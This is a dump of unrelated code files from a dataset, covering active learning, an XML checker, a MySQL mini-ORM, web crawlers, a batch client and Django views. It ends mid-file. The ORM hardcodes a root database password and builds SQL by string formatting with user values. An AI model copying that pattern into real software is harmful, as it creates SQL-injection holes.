token_idx in self.index.labelled_idx[sentence_index]:\n pass\n elif token_idx in self.index.temp_labelled_idx[sentence_index]:\n padded_tags[j, token_idx] = torch.tensor(self.temp_labels[sentence_index][token_idx])\n elif token_idx in self.index.unlabelled_idx[sentence_index]:\n padded_tags[j, token_idx] = torch.exp(torch.tensor(self.last_preds[sentence_index][token_idx]))\n semi_supervision_mask[\n j, token_idx\n ] = self.semi_supervision_multiplier\n else: # Padding\n continue\n\n return padded_sentences, padded_tags, lengths, semi_supervision_mask\n\n return padded_sentences, torch.tensor([]), lengths, semi_supervision_mask\n\n\nclass Index:\n def __init__(self, dataset):\n self.dataset = dataset\n self.number_partially_labelled_instances = 0\n self.labelled_idx = None\n self.unlabelled_idx = None\n self.temp_labelled_idx = None\n\n def label_instance(self, i):\n raise NotImplementedError\n\n def label_window(self, window):\n raise NotImplementedError\n\n def temporarily_label_window(self, window):\n raise NotImplementedError\n\n def new_window_unlabelled(self, new_window):\n raise NotImplementedError\n\n def is_partially_labelled(self, i):\n return bool(total_sum(self.labelled_idx[i]))\n\n def is_partially_temporarily_labelled(self, i):\n return bool(total_sum(self.temp_labelled_idx[i]))\n\n def has_any_labels(self, i):\n return bool(self.is_partially_labelled(i)) or bool(\n self.is_partially_temporarily_labelled(i)\n )\n\n def is_labelled(self, i):\n return not bool(total_sum(self.unlabelled_idx[i]))\n\n def is_partially_unlabelled(self, i):\n return bool(total_sum(self.unlabelled_idx[i]))\n\n def get_number_partially_labelled_instances(self):\n return self.number_partially_labelled_instances\n\n def __getitem__(self, item):\n\n if isinstance(item, int):\n idx = [item]\n elif isinstance(item, slice):\n idx = list(range(*item.indices(len(self.labelled_idx))))\n elif isinstance(item, list):\n idx = item\n else:\n raise TypeError(f\"Cannot index SentenceIndex with type {type(item)}\")\n\n return {\n i: {\n \"labelled_idx\": self.labelled_idx[i],\n \"unlabelled_idx\": self.unlabelled_idx[i],\n \"temp_labelled_idx\": self.temp_labelled_idx[i],\n }\n for i in item\n }\n\n\nclass DimensionlessIndex(Index):\n def __init__(self, dataset):\n super(DimensionlessIndex, self).__init__(dataset)\n self.labelled_idx = {j: False for j in range(len(dataset.data))}\n self.unlabelled_idx = {j: True for j, d in enumerate(dataset.data)}\n self.temp_labelled_idx = {j: False for j in range(len(dataset.data))}\n\n def label_instance(self, i):\n self.number_partially_labelled_instances += 1\n self.labelled_idx[i] = True\n self.unlabelled_idx[i] = False\n\n def label_window(self, window):\n if not isinstance(window, DimensionlessAnnotationUnit):\n raise TypeError(\"DimensionlessIndex requires DimensionlessAnnotationUnit\")\n self.label_instance(window.i)\n\n def temporarily_label_window(self, window):\n self.unlabelled_idx[window.i] = False\n self.temp_labelled_idx[window.i] = True\n\n def new_window_unlabelled(self, new_window):\n return not self.labelled_idx[new_window.i]\n\n def make_nan_if_labelled(self, i, scores):\n # Zero-dimensional datapoints => no partial labelling to worry about\n return scores\n\n def save(self, save_path):\n with open(os.path.join(save_path, \"agent_index.pk\"), \"w\") as f:\n json.dump(\n {\n \"labelled_idx\": self.labelled_idx,\n \"unlabelled_idx\": self.unlabelled_idx,\n \"temporarily_labelled_idx\": self.temp_labelled_idx,\n },\n f,\n )\n\n\nclass SentenceIndex(Index):\n def __init__(self, dataset):\n super(SentenceIndex, self).__init__(dataset)\n self.labelled_idx = {j: set() for j in range(len(dataset.data))}\n self.unlabelled_idx = {\n j: set(range(len(d))) for j, d in enumerate(dataset.data)\n }\n self.temp_labelled_idx = {j: set() for j in range(len(dataset.data))}\n\n def label_instance(self, i):\n if not self.is_partially_labelled(i):\n self.number_partially_labelled_instances += 1\n self.labelled_idx[i] = set(range(len(self.dataset.data[i])))\n self.unlabelled_idx[i] = set()\n\n def label_window(self, window):\n if not self.labelled_idx[window.i] and window.size > 0:\n self.number_partially_labelled_instances += 1\n self.labelled_idx[window.i].update(range(*window.bounds))\n self.unlabelled_idx[window.i] -= window.get_index_set()\n self.temp_labelled_idx[window.i] -= window.get_index_set()\n\n def temporarily_label_window(self, window):\n self.unlabelled_idx[window.i] -= window.get_index_set()\n self.temp_labelled_idx[window.i].update(window.get_index_set())\n\n def new_window_unlabelled(self, new_window):\n if new_window.get_index_set().intersection(self.labelled_idx[new_window.i]):\n return False\n else:\n return True\n\n def make_nan_if_labelled(self, i, scores):\n res = []\n for j in range(len(scores)):\n if j in self.labelled_idx[i]:\n res.append(float(\"nan\"))\n else:\n res.append(scores[j])\n return res\n\n def save(self, save_path):\n with open(os.path.join(save_path, \"agent_index.pk\"), \"w\") as f:\n json.dump(\n {\n \"labelled_idx\": {k: list(v) for k, v in self.labelled_idx.items()},\n \"unlabelled_idx\": {\n k: list(v) for k, v in self.unlabelled_idx.items()\n },\n \"temporarily_labelled_idx\": {\n k: list(v) for k, v in self.temp_labelled_idx.items()\n },\n },\n f,\n )\n\n\nclass AnnotationUnit:\n def __init__(self, data_index, bounds, score):\n self.i = data_index\n self.bounds = bounds\n self.score = score\n\n def savable(self):\n return [self.i, self.bounds, self.score]\n\n def get_index_set(self):\n return None\n\n\nclass SentenceSubsequence(AnnotationUnit):\n def __init__(self, data_index, bounds, score):\n super(SentenceSubsequence, self).__init__(data_index, bounds, score)\n self.size = bounds[1] - bounds[0]\n self.slice = slice(*bounds)\n\n def savable(self):\n return [int(self.i), list(map(int, self.bounds)), float(self.score)]\n\n def get_index_set(self):\n return set(range(*self.bounds))\n\n\nclass DimensionlessAnnotationUnit(AnnotationUnit):\n def __init__(self, data_index, bounds, score):\n super(DimensionlessAnnotationUnit, self).__init__(data_index, bounds, score)\n self.size = 1\n self.slice = slice(None)\n\n def savable(self):\n return [int(self.i), None, float(self.score)]\n\n def get_index_set(self):\n return {0}\n\n\nclass EarlyStopper:\n def __init__(self, model, patience: int): # , maximise: bool):\n \"\"\"\n An early stopping & callback class.\n patience is an integer, the number of epochs that a non-optimal statistic is allowed (adding number of steps soon)\n maximise is set to True for scores, False for losses\n \"\"\"\n self.patience = patience\n # self.maximise = maximise\n self.model_state_dict = None\n self.model = model\n self.saved_epoch = 0\n self.scores = []\n self.min_score = float(\"inf\")\n\n def is_overfitting(self, score):\n \"\"\"\n Unused\n \"\"\"\n scores = self.scores\n if len(scores) < self.patience:\n self.scores.append(score)\n return False\n\n if score < self.min_score:\n self.model_state_dict = self.model.state_dict()\n self.min_score = score\n\n scores.append(score)\n all_increasing = True\n s0 = scores[0]\n for s1 in scores[1:]:\n if s0 >= s1:\n all_increasing = False\n break\n s0 = s1\n self.scores = scores[1:]\n\n if all_increasing:\n print(\"reloading model\\n\")\n self.model.load_state_dict(self.model_state_dict)\n\n return all_increasing\n\n def check_stop(self, stats_list):\n\n if len(stats_list) > self.patience:\n if stats_list[-1] < stats_list[-2]:\n self.model_state_dict = self.model.state_dict()\n self.saved_epoch = len(stats_list)\n\n if self.patience < 0 or len(stats_list) < self.patience:\n return False\n if stats_list[-self.patience :] == sorted(stats_list[-self.patience :]):\n print(f\"reloading from epoch {self.saved_epoch}\")\n self.model.load_state_dict(self.model_state_dict)\n return True\n else:\n return False\n\n\nclass RenovationError(Exception):\n def __init__(self, message):\n # Call the base class constructor with the parameters it needs\n super().__init__(message)","sub_path":"active_learning/util_classes.py","file_name":"util_classes.py","file_ext":"py","file_size_in_byte":23215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"47566617","text":"#!/bin/python\n\nimport os, sys, re\nimport xml.etree.ElementTree as et\n\n\nif len(sys.argv) != 2:\n exit()\n\ntarget = sys.argv[1]\nprint(\"Target: \" + target)\n\nfiles = []\nif os.path.isdir(target):\n for file in os.listdir(target):\n files.append(file)\nelse:\n files.append(target)\n\ncount = 0\ndata = {}\npattern = re.compile(r\"CISCP=(.*?)\\s\")\n\ndata['total'] = 0\ndata['schema_location_present'] = 0\ndata['http://us-cert.gov/ciscp'] = 0\ndata['http://www.us-cert.gov/ciscp'] = 0\ndata['version_1.1.1'] = 0\ndata['version_1.0'] = 0\ndata['version_1.1'] = 0\ndata['version_1.0.1'] = 0\n\n\nfor file in files:\n tree = et.parse(os.path.join(target, file))\n root = tree.getroot()\n with open(os.path.join(target, file), 'r') as file_open:\n read = file_open.read().replace(\"\\n\", \" \")\n for match in pattern.finditer(read):\n if match.group(1).strip(\"\\\"\").__eq__(\"http://us-cert.gov/ciscp\"):\n data['http://us-cert.gov/ciscp'] += 1\n if match.group(1).strip(\"\\\"\").__eq__(\"http://www.us-cert.gov/ciscp\"):\n data['http://www.us-cert.gov/ciscp'] += 1\n\n if '{http://www.w3.org/2001/XMLSchema-instance}schemaLocation' in dict(root.attrib).keys():\n data['schema_location_present'] += 1\n else:\n print(\"{0} : {1}\".format(file, dict(root.attrib)['version']))\n\n data['total'] += 1\n\n version = dict(root.attrib)['version']\n if version.__eq__(\"1.1.1\"):\n data['version_1.1.1'] += 1\n if version.__eq__(\"1.0\"):\n data['version_1.0'] += 1\n if version.__eq__(\"1.1\"):\n data['version_1.1'] += 1\n if version.__eq__(\"1.0.1\"):\n data['version_1.0.1'] += 1\n\nfor key, value in sorted(data.items()):\n print(\"{0}: {1}\".format(key, value))","sub_path":"check_namespaces.py","file_name":"check_namespaces.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"194552489","text":"import MySQLdb\nimport MySQLdb.cursors\nfrom abstr_model import *\n\n\ndef get_connection():\n connection = MySQLdb.connect(user='root',\n passwd='1234',\n db='mydb',\n cursorclass=MySQLdb.cursors.DictCursor)\n return connection\n\n\ndef execute_query(query):\n connection = get_connection()\n cursor = connection.cursor()\n cursor.execute(query)\n connection.commit()\n connection.close()\n return cursor.fetchall()\n\n\ndef migrate(cls):\n obj = cls.__call__()\n dict_atr = obj.__class__.__dict__\n col_table = []\n for key,value in dict_atr.items():\n if key == '__doc__' or key == '__module__':\n continue\n col_table.append(key + \" \" + value)\n print(col_table)\n id_primary = \"id int(10) auto_increment primary key\"\n query = 'CREATE TABLE IF NOT EXISTS %s (%s, %s);' % (cls, id_primary,', '.join(col_table))\n print(query)\n execute_query(query)\n\n\ndef insert(instance, **kwargs):\n if not kwargs:\n dict_atr_inst = instance.__dict__\n else:\n dict_atr_inst = kwargs\n table_name = instance.__class__.__name__\n key_str = []\n value_str = []\n for key, value in dict_atr_inst.items():\n key_str.append(key)\n if isinstance(value, str):\n value_str.append(str(\"'\"+value+\"'\"))\n else:value_str.append(str(value))\n\n query = 'INSERT INTO %s (%s) VALUES (%s);' % (table_name, ', '.join(key_str), ', '.join(value_str))\n print(query)\n execute_query(query)\n\n\ndef select(table, **kwargs):\n name_table = table\n arg_query_where = []\n for key, value in kwargs.items():\n key_split = key.split('__')\n if \"lte\" == key_split[1]:\n operator = \" <= \"\n arg_query_where.append(key_split[0]+operator+str(value))\n print(key, \"lte\")\n if \"gte\" == key_split[1]:\n operator = \" >= \"\n arg_query_where.append(key_split[0]+operator+str(value))\n print(key, \"gte\")\n if \"gt\" == key_split[1]:\n operator = \" > \"\n arg_query_where.append(key_split[0]+operator+str(value))\n print(key, \"gt\")\n if \"lt\" == key_split[1]:\n operator = \" < \"\n arg_query_where.append(key_split[0]+operator+str(value))\n print(key, \"lt\")\n if \"contains\" == key_split[1]:\n operator = \" LIKE \"\n arg_query_where.append(key_split[0]+operator + \"'\"+str(value)+\"'\")\n\n query = 'SELECT * FROM %s WHERE %s;' % (name_table, ' AND '.join(arg_query_where))\n print(query)\n return execute_query(query)\n\n\nclass Human(DbField, metaclass=AbstractModel):\n name = DbField().CharField(length=200)\n age = DbField().IntegerField()\n pay = DbField().FloatField()\n\nif __name__ == '__main__':\n\n migrate(Human)\n human = Human()\n human.name = \"Max\"\n human.age = 60\n human.pay = 120.444\n insert(human)\n human.name = \"Lina\"\n human.age = 12\n human.pay = 123.8\n insert(human)\n insert(human, name=\"Lika\", age=30, pay=15.66)\n print(\"Age <= 20:\", select(Human, age__lte=20))\n print(\"Pay >= 10 and name like 'Li':\", select(Human, age__gte=10, name__contains='Li'))\n\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"206343451","text":"import re\n# import sys\nimport logging\nimport urlparse\nimport time\nimport robotparser\nimport threading\nimport multiprocessing\nfrom pymongo import MongoClient\nfrom mongotool import MongoQueue\nfrom download import Downloader\nfrom utilities import make_random_useragent\n\nSLEEP_TIME = 3\nDEFAULT_AGENT = make_random_useragent()\nDEFAULT_HEADERS = {\n \"User-Agent\": DEFAULT_AGENT,\n \"Accept-Encoding\": \"gzip\"\n}\n\n# logging.basicConfig(stream=sys.stderr, level=logging.INFO)\n\n\ndef normalize(seed_url, link):\n \"\"\"Normalize this URL by removing hash and adding domain\n \"\"\"\n link, _ = urlparse.urldefrag(link) # remove hash to avoid duplicates\n return urlparse.urljoin(seed_url, link)\n\n\ndef same_domain(url1, url2):\n \"\"\"Return True if both URL's belong to same domain\n \"\"\"\n return urlparse.urlparse(url1).netloc == urlparse.urlparse(url2).netloc\n\n\ndef get_robots(url):\n \"\"\"Initialize robots parser for this domain\n \"\"\"\n rp = robotparser.RobotFileParser()\n rp.set_url(urlparse.urljoin(url, '/robots.txt'))\n rp.read()\n return rp\n\n\ndef get_links(html):\n \"\"\"Return a list of links from html\n \"\"\"\n # a regular expression to extract all links from the webpage\n webpage_regex = re.compile(']+href=[\"\\'](.*?)[\"\\']', re.IGNORECASE)\n # link_regex = re.compile('[a-zA-z]+://[^\\s]*', re.IGNORECASE)\n link_regex = re.compile( # filter url with query words and params\n '^(?:([A-Za-z]+):)?(/{0,3})([0-9.\\-A-Za-z]+)(?:/([^?#]*))?$', re.IGNORECASE)\n # list of all links from the webpage\n links = []\n links.extend(link for link in webpage_regex.findall(\n html) if re.match(link_regex, link))\n return links\n\n\ndef threaded_crawler(seed_url, delay=5, cache=None, scrape_callback=None, download_callback=None, headers=DEFAULT_HEADERS, proxies=None, num_retries=1, max_threads=10, timeout=60, email_notify=False, remove_proxy=True):\n \"\"\"Crawl using multiple threads\n \"\"\"\n client = MongoClient(\n 'localhost', 27017, maxPoolSize=50, waitQueueMultiple=10, connect=False,)\n # the queue of URL's that still need to be crawled\n crawl_queue = MongoQueue(client)\n # crawl_queue.clear()\n crawl_queue.push(seed_url)\n D = Downloader(cache=cache, delay=delay, headers=headers,\n proxies=proxies, num_retries=num_retries, timeout=timeout, email_notify=email_notify, remove_proxy=remove_proxy)\n\n def process_queue():\n while True:\n # keep track that are processing url\n try:\n url = crawl_queue.pop()\n except KeyError:\n # currently no urls to process\n break\n else:\n html = D(url)\n if download_callback:\n try:\n download_callback(url, html, client)\n except Exception as e:\n logging.error(\n '[download_callback] for: {} >>Error: {}'.format(url, e))\n if scrape_callback:\n try:\n links = scrape_callback(url, html) or []\n except Exception as e:\n logging.error(\n '[scrape_callback] for: {} >>Error: {}'.format(url, e))\n else:\n for link in links:\n # add this new link to queue\n crawl_queue.push(normalize(seed_url, link))\n crawl_queue.complete(url)\n\n # wait for all download threads to finish\n threads = []\n while threads or crawl_queue:\n for thread in threads:\n if not thread.is_alive():\n threads.remove(thread)\n while len(threads) < max_threads and crawl_queue.peek():\n # can start some more threads\n thread = threading.Thread(target=process_queue)\n # set daemon so main thread can exit when receives ctrl-c\n thread.setDaemon(True)\n thread.start()\n threads.append(thread)\n time.sleep(SLEEP_TIME)\n\n\ndef process_crawler(args, num_process=None, **kwargs):\n if not num_process:\n num_process = multiprocessing.cpu_count()\n # pool = multiprocessing.Pool(processes=num_cpus)\n logging.info('Starting {} processes'.format(num_process))\n processes = []\n for i in range(num_process):\n p = multiprocessing.Process(\n target=threaded_crawler, args=[args], kwargs=kwargs)\n # parsed = pool.apply_async(threaded_link_crawler, args, kwargs)\n p.start()\n processes.append(p)\n # wait for processes to complete\n for p in processes:\n p.join()\n\n\nif __name__ == '__main__':\n pass\n","sub_path":"spider/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":4715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"362788617","text":"\n\nfrom xai.brain.wordbase.nouns._nature import _NATURE\n\n#calss header\nclass _NATURES(_NATURE, ):\n\tdef __init__(self,): \n\t\t_NATURE.__init__(self)\n\t\tself.name = \"NATURES\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"nature\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_natures.py","file_name":"_natures.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"6321607","text":"'''Given a string s, return true if the s can be palindrome after deleting at most one character from it.\n\n \n\nExample 1:\n\nInput: s = \"aba\"\nOutput: true\nExample 2:\n\nInput: s = \"abca\"\nOutput: true\nExplanation: You could delete the character 'c'.\nExample 3:\n\nInput: s = \"abc\"\nOutput: false\n \n\nConstraints:\n\n1 <= s.length <= 105\ns consists of lowercase English letters.'''\n\nclass Solution:\n def validPalindrome(self, s: str) -> bool:\n def isValid(s, cnt):\n j, k = 0, len(s) - 1 \n while j < k:\n if s[j] != s[k]:\n if cnt > 0:\n return False\n s1 = s[:j] + s[j+1:]\n s2 = s[:k] + s[k+1:]\n cnt += 1\n return isValid(s1, cnt) or isValid(s2, cnt)\n j += 1\n k -= 1\n return True \n return isValid(s, 0)\n\nimport unittest\nfunctions = [Solution().__getattribute__(f) for f in dir(Solution()) if not f.startswith('__')]\nclass Test(unittest.TestCase): \n def test1(self):\n for f in functions:\n self.assertEqual(f('abac'), True, f.__name__)\n def test2(self):\n for f in functions:\n self.assertEqual(f('aguokepatgbnvfqmgmlcupuufxoohdfpgjdmysgvhmvffcnqxjjxqncffvmhvgsymdjgpfdhooxfuupuculmgmqfvnbgtapekouga'), True, f.__name__)\nunittest.main() \n \n ","sub_path":"leetcode/LC680. Valid Palindrome II.py","file_name":"LC680. Valid Palindrome II.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"157778848","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\nfrom scrapy.exceptions import DropItem\nfrom pymongo import MongoClient\n\nclass ChoutiPipeline(object):\n def __init__(self, db_name, collection, user, pwd, ip, port):\n\n self.db_name= db_name\n self.collection = collection\n self.user = user\n self.pwd = pwd\n self.ip = ip\n self.port = port\n\n @classmethod\n def from_crawler(cls, crawler):\n \"\"\"\n Scrapy会先通过getattr判断我们是否自定义了from_crawler,有则调它来完\n 成实例化\n \"\"\"\n db_name = crawler.settings.get('DB_NAME')\n collection = crawler.settings.get('COLLECTION')\n user = crawler.settings.get('USER')\n pwd = crawler.settings.get('PWD')\n ip = crawler.settings.get('IP')\n port = crawler.settings.get('PORT')\n return cls(db_name,collection,user,pwd,ip,port)\n\n def open_spider(self,spider):\n \"\"\"\n 爬虫刚启动时执行一次,建立数据库的链接\n \"\"\"\n print('%s爬虫开始了'%spider.name)\n self.client = MongoClient(r'mongodb://%s:%s@%s:%s/'%(self.user,self.pwd,self.ip,self.port))\n\n\n def process_item(self, item, spider):\n d = dict(item)\n self.client[self.db_name][self.collection].save(d)\n\n # return表示会被后续的pipeline继续处理\n return item\n\n\n def close_spider(self,spider):\n \"\"\"\n 爬虫关闭时执行一次\n \"\"\"\n print('%s爬虫结束了' % spider.name)\n\n # 表示将item丢弃,不会被后续pipeline处理\n # raise DropItem()","sub_path":"chouti/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"465728885","text":"import time\nimport random\nimport yaml\n\nimport cerberus\n\nfrom . import api, schemas\n\n\nclass Job:\n def __init__(self, client, id, attributes=None, parent_ids=None, scratch_folder=None, _status=None):\n if parent_ids is None:\n parent_ids = []\n if attributes is None:\n attributes = {}\n\n self.client = client\n self.id = id\n self.attributes = attributes\n self.parent_ids = parent_ids\n self.scratch_folder = scratch_folder\n self._status = _status\n\n def is_complete(self):\n if self._status:\n state = self._status['state']\n if state in ('Complete', 'Cancelled'):\n return True\n return False\n\n def cached_status(self):\n assert self._status is not None\n return self._status\n\n def status(self):\n self._status = self.client._get_job(self.id)\n return self._status\n\n def wait(self):\n i = 0\n while True:\n self.status() # update\n if self.is_complete():\n return self._status\n j = random.randrange(2 ** i)\n time.sleep(0.100 * j)\n # max 5.12s\n if i < 9:\n i = i + 1\n\n def cancel(self):\n self.client._cancel_job(self.id)\n\n def delete(self):\n self.client._delete_job(self.id)\n\n self.id = None\n self.attributes = None\n self._status = None\n\n def log(self):\n return self.client._get_job_log(self.id)\n\n\nclass Batch:\n def __init__(self, client, id):\n self.client = client\n self.id = id\n\n def create_job(self, image, command=None, args=None, env=None, ports=None,\n resources=None, tolerations=None, volumes=None, security_context=None,\n service_account_name=None, attributes=None, callback=None, parent_ids=None,\n scratch_folder=None):\n if parent_ids is None:\n parent_ids = []\n return self.client._create_job(\n image, command, args, env, ports, resources, tolerations, volumes, security_context,\n service_account_name, attributes, self.id, callback, parent_ids, scratch_folder)\n\n def close(self):\n self.client._close_batch(self.id)\n\n def status(self):\n return self.client._get_batch(self.id)\n\n def wait(self):\n i = 0\n while True:\n status = self.status()\n if status['jobs']['Created'] == 0:\n return status\n j = random.randrange(2 ** i)\n time.sleep(0.100 * j)\n # max 5.12s\n if i < 9:\n i = i + 1\n\n\nclass BatchClient:\n def __init__(self, url=None, api=api.DEFAULT_API):\n if not url:\n url = 'http://batch.default'\n self.url = url\n self.api = api\n\n def _create_job(self, # pylint: disable=R0912\n image,\n command,\n args,\n env,\n ports,\n resources,\n tolerations,\n volumes,\n security_context,\n service_account_name,\n attributes,\n batch_id,\n callback,\n parent_ids,\n scratch_folder):\n if env:\n env = [{'name': k, 'value': v} for (k, v) in env.items()]\n else:\n env = []\n env.extend([{\n 'name': 'POD_IP',\n 'valueFrom': {\n 'fieldRef': {'fieldPath': 'status.podIP'}\n }\n }, {\n 'name': 'POD_NAME',\n 'valueFrom': {\n 'fieldRef': {'fieldPath': 'metadata.name'}\n }\n }])\n\n container = {\n 'image': image,\n 'name': 'default'\n }\n if command:\n container['command'] = command\n if args:\n container['args'] = args\n if env:\n container['env'] = env\n if ports:\n container['ports'] = [{\n 'containerPort': p,\n 'protocol': 'TCP'\n } for p in ports]\n if resources:\n container['resources'] = resources\n if volumes:\n container['volumeMounts'] = [v['volume_mount'] for v in volumes]\n spec = {\n 'containers': [container],\n 'restartPolicy': 'Never'\n }\n if volumes:\n spec['volumes'] = [v['volume'] for v in volumes]\n if tolerations:\n spec['tolerations'] = tolerations\n if security_context:\n spec['securityContext'] = security_context\n if service_account_name:\n spec['serviceAccountName'] = service_account_name\n\n j = self.api.create_job(self.url, spec, attributes, batch_id, callback, parent_ids, scratch_folder)\n return Job(self, j['id'], j.get('attributes'), j.get('parent_ids', []))\n\n def _get_job(self, id):\n return self.api.get_job(self.url, id)\n\n def _get_job_log(self, id):\n return self.api.get_job_log(self.url, id)\n\n def _delete_job(self, id):\n self.api.delete_job(self.url, id)\n\n def _cancel_job(self, id):\n self.api.cancel_job(self.url, id)\n\n def _get_batch(self, batch_id):\n return self.api.get_batch(self.url, batch_id)\n\n def _close_batch(self, batch_id):\n return self.api.close_batch(self.url, batch_id)\n\n def _refresh_k8s_state(self):\n self.api.refresh_k8s_state(self.url)\n\n def list_jobs(self):\n jobs = self.api.list_jobs(self.url)\n return [Job(self, j['id'], j.get('attributes'), j.get('parent_ids', []), j) for j in jobs]\n\n def get_job(self, id):\n # make sure job exists\n j = self.api.get_job(self.url, id)\n return Job(self, j['id'], j.get('attributes'), j.get('parent_ids', []), j)\n\n def create_job(self,\n image,\n command=None,\n args=None,\n env=None,\n ports=None,\n resources=None,\n tolerations=None,\n volumes=None,\n security_context=None,\n service_account_name=None,\n attributes=None,\n callback=None,\n parent_ids=None,\n scratch_folder=None):\n if parent_ids is None:\n parent_ids = []\n return self._create_job(\n image, command, args, env, ports, resources, tolerations, volumes, security_context,\n service_account_name, attributes, None, callback, parent_ids, scratch_folder)\n\n def create_batch(self, attributes=None, callback=None, ttl=None):\n batch = self.api.create_batch(self.url, attributes, callback, ttl)\n return Batch(self, batch['id'])\n\n job_yaml_schema = {\n 'spec': schemas.pod_spec,\n 'type': {'type': 'string', 'allowed': ['execute']},\n 'name': {'type': 'string'},\n 'dependsOn': {'type': 'list', 'schema': {'type': 'string'}},\n }\n job_yaml_validator = cerberus.Validator(job_yaml_schema)\n\n def create_batch_from_file(self, file):\n job_id_by_name = {}\n\n def job_id_by_name_or_error(id, self_id):\n job = job_id_by_name.get(id)\n if job:\n return job\n raise ValueError(\n '\"{self_id}\" must appear in the file after its dependency \"{id}\"')\n\n batch = self.create_batch()\n for doc in yaml.load(file):\n if not BatchClient.job_yaml_validator.validate(doc):\n raise BatchClient.job_yaml_validator.errors\n spec = doc['spec']\n type = doc['type']\n name = doc['name']\n dependsOn = doc.get('dependsOn', [])\n if type == 'execute':\n job = batch.create_job(\n parent_ids=[job_id_by_name_or_error(x, name) for x in dependsOn],\n **spec)\n job_id_by_name[name] = job.id\n return batch\n","sub_path":"batch/batch/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":8100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"406959327","text":"from django.shortcuts import render, redirect\nfrom .models import Student\nfrom .forms import StudentForm\n\ndef enter_stud(request):\n if request.method == \"POST\":\n form = StudentForm(request.POST)\n\n if form.is_valid():\n form.save(commit = True)\n\n return redirect('view_studs')\n\n else:\n form = StudentForm()\n\n return render(request, 'results/enter_stud.html', {'form':form})\n\ndef view_studs(request):\n\n studs = Student.objects.all()\n count = Student.objects.count()\n\n return render(request, 'results/view_studs.html', {'studs':studs, 'count':count})\n\n\n\n\n# Create your views here.\n","sub_path":"results/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"541157530","text":"# -*- coding: utf-8 -*-\n\"\"\"\nTP1\n5/3 Divison eucledienne/réel\n5//3 division entiere\nImparfaite car un ordinateur est incapable de calculer avec des nombre decimaux\nil est obligé de calculer avec des valeurs approché\nlorseque on ajoute un flottant et un int, python convertit le int en flottant et on obtient un flottant\n% est le reste de la division euclédienne\n\nA | B | A and B\nV | V | V\nV | F | F\nF | V | F\nF | F | F\n\nOn l'obtient grace a l'algorithme suivant:\nt = [True, False]\nfor i in range(len(t)):\n for j in range(len(t)):\n print(t[i],t[j],t[i] and t[j])\n\n\nA | B | A ou B\nV | V | V\nV | F | V\nF | V | V\nF | F | F\non l'obtient grace a l'algorithme suivant:\nt = [True, False]\nfor i in range(len(t)):\n for j in range(len(t)):\n print(t[i],t[j],t[i] or t[j])\n \non peut crer de tuple vide\n\n5 est assigné a 2 endroits different dans la memoire:la variable a et b\n\n6 = 5 est une assignation or 6 n'est pas une varible, il y a une erreur \n\n\n\"\"\"\ndef isOdd(a):\n if a%2 == 0:\n return False\n else :\n return True\ndef integer_positive_and_odd(n):\n assert int(n) == n \n impair = False\n positif = True\n if n<0:\n positif = False\n if n%2 != 0:\n impair = True\n return positif, impair\ndef solve(a, b, c):\n solution = []\n if b**2 - 4 *a*c >0:\n solution.append((-b-(b**2 - 4 *a*c)**0.5 )/ (2*a))\n solution.append((-b+(b**2 - 4 *a*c)**0.5 )/ (2*a))\n elif b**2 - 4*a*c ==0:\n solution.append((-b)/(2*a))\n return solution","sub_path":"TP1/python.py","file_name":"python.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"255787994","text":"# -*- coding: utf-8 -*-\nimport json\n\nimport scrapy\n\nfrom u17.agent_helper import get_random_agent\nfrom u17.items import U17Item\n\n\nclass ManhuaSpider(scrapy.Spider):\n name = 'manhua'\n allowed_domains = ['www.u17.com']\n start_urls = ['http://www.u17.com/']\n\n def start_requests(self):\n headers = {\n 'User-Agent': get_random_agent(),\n 'Host': 'www.u17.com',\n 'Accept': 'application/json, text/plain, */*',\n 'Accept-Encoding': 'gzip, deflate, sdch',\n 'Accept-Language': 'zh-CN,zh;q=0.8,en;q=0.6,ja;q=0.4,zh-TW;q=0.2,mt;q=0.2',\n 'Connection': 'keep-alive',\n 'X-Requested-With': 'XMLHttpRequest',\n 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'\n }\n url = 'http://www.u17.com/comic/ajax.php?mod=comic_list&act=comic_list_new_fun&a=get_comic_list'\n\n post_data = {\n 'data[accredit]': 'no',\n 'data[color]': 'no',\n 'data[comic_type]': 'no',\n 'data[group_id]': 'no',\n 'data[is_vip]': 'no',\n 'data[order]': '2',\n 'data[page_num]': '1',\n 'data[read_mode]': 'no',\n 'data[series_status]': 'no',\n 'data[theme_id]': 'no',\n }\n for i in range(1, 411):\n post_data['data[page_num]'] = str(i)\n yield scrapy.FormRequest(url=url,\n callback=self.parse,\n headers=headers,\n method='POST',\n formdata=post_data)\n\n def parse(self, response):\n request_json = json.loads(response.text)['comic_list']\n for j_item in request_json:\n item = U17Item()\n item['comic_id']= j_item.get('comic_id', '')\n item['title']= j_item.get('name', ''),\n item['cover'] = j_item.get('cover', '')\n item['classfy'] = item.get('line2', '')\n yield 